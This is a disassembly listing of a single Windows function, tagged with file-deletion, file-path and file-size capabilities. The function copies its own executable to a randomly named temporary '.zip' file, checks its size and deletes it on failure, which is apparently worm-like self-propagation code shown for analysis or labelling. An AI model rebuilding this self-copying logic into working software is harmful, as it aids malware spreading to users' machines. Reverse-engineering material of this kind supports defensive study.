Function at 0x402a80
Capabilities:
Delete file
Get common file path
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x414bf8]
imul eax, eax, 0x15a4e35
inc eax
mov dword [0x414bf8], eax
shr eax, 0x10
push ebx
push esi
mov esi, ecx
cdq
mov ecx, 0x64
idiv ecx
mov word [esi + 0x1b4], 0
movzx eax, byte [esi + 0x1b4]
push edi
mov edi, 1
mov dword [ebp - 0x314], esi
cmp edx, 0x40
cmovl eax, edi
mov byte [esi + 0x1b4], al
test al, al
jne 0x402afe
push 0x104
lea ebx, [esi + 0x2b7]
push ebx
push 0
mov byte [esi + 0x1b6], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
jmp 0x402d00
lea ecx, [ebp - 0x310]
push ecx
push 0x104
mov byte [esi + 0x1b6], 1
mov byte [ebp - 0x310], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
cmp byte [ebp - 0x310], 0
je 0x402bb9
lea ebx, [esi + 0x2b7]
push ebx
push 0
push 0x411814
lea eax, [ebp - 0x310]
push eax
mov byte [ebx], 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
cmp byte [ebx], 0
je 0x402bb9
push 0x104
lea eax, [ebp - 0x310]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [0x414bf8]
imul eax, eax, 0x15a4e35
inc eax
mov dword [0x414bf8], eax
shr eax, 0x10
cdq
mov ecx, 0x64
idiv ecx
mov byte [esi + 0x1b5], 0
cmp edx, 0x28
jge 0x402b91
mov byte [esi + 0x1b5], 1
cmp byte [esi + 0x1b5], 0
jne 0x402bcc
lea eax, [esi + 0x1b7]
push eax
mov edx, ebx
lea ecx, [ebp - 0x310]
call fcn.00405f60
add esp, 4
test eax, eax
je 0x402ce4
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004062eb
mov esp, ebp
pop ebp
ret
lea eax, [esi + 0x184]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x411818
lea eax, [ebp - 0x208]
push eax
call edi
mov eax, dword [0x414bf8]
imul eax, eax, 0x15a4e35
inc eax
mov dword [0x414bf8], eax
shr eax, 0x10
cdq
mov ecx, 5
idiv ecx
test edx, edx
je 0x402c30
lea eax, [edx - 1]
cmp eax, 1
lea eax, [ebp - 0x208]
ja 0x402c29
push 0x41181c
jmp 0x402c3b
push 0x411820
jmp 0x402c3b
push 0x41172c
lea eax, [ebp - 0x208]
push eax
call edi
mov esi, 0x46
push 0x411824
lea eax, [ebp - 0x208]
push eax
call edi
dec esi
jne 0x402c43
push 0x411818
lea eax, [ebp - 0x208]
push eax
call edi
mov eax, dword [0x414bf8]
imul eax, eax, 0x15a4e35
inc eax
mov dword [0x414bf8], eax
shr eax, 0x10
cdq
mov ecx, 3
idiv ecx
lea eax, [ebp - 0x208]
sub edx, esi
je 0x402ca9
dec edx
je 0x402c9a
push 0x411838
push eax
call edi
push 0x41183c
jmp 0x402cb6
push 0x411830
push eax
call edi
push 0x411834
jmp 0x402cb6
push 0x411828
push eax
call edi
push 0x41182c
lea eax, [ebp - 0x208]
push eax
call edi
lea eax, [ebp - 0x208]
push eax
mov edx, ebx
lea ecx, [ebp - 0x310]
call fcn.00405f60
mov esi, dword [ebp - 0x314]
add esp, 4
test eax, eax
jne 0x402d71
lea eax, [esi + 0x184]
push eax
lea eax, [esi + 0x1b7]
push str._s.zip
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x80
push 3
push 0
push 3
push connect
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
test edi, edi
je 0x402d61
cmp edi, 0xffffffff
je 0x402d61
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov dword [esi + 0x3bc], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi + 0x3bc]
cmp eax, 0x400
jl 0x402d61
cmp eax, 0x4b000
jg 0x402d61
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004062eb
mov esp, ebp
pop ebp
ret
cmp byte [esi + 0x1b6], 0
je 0x402d71
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.004062eb
mov esp, ebp
pop ebp
ret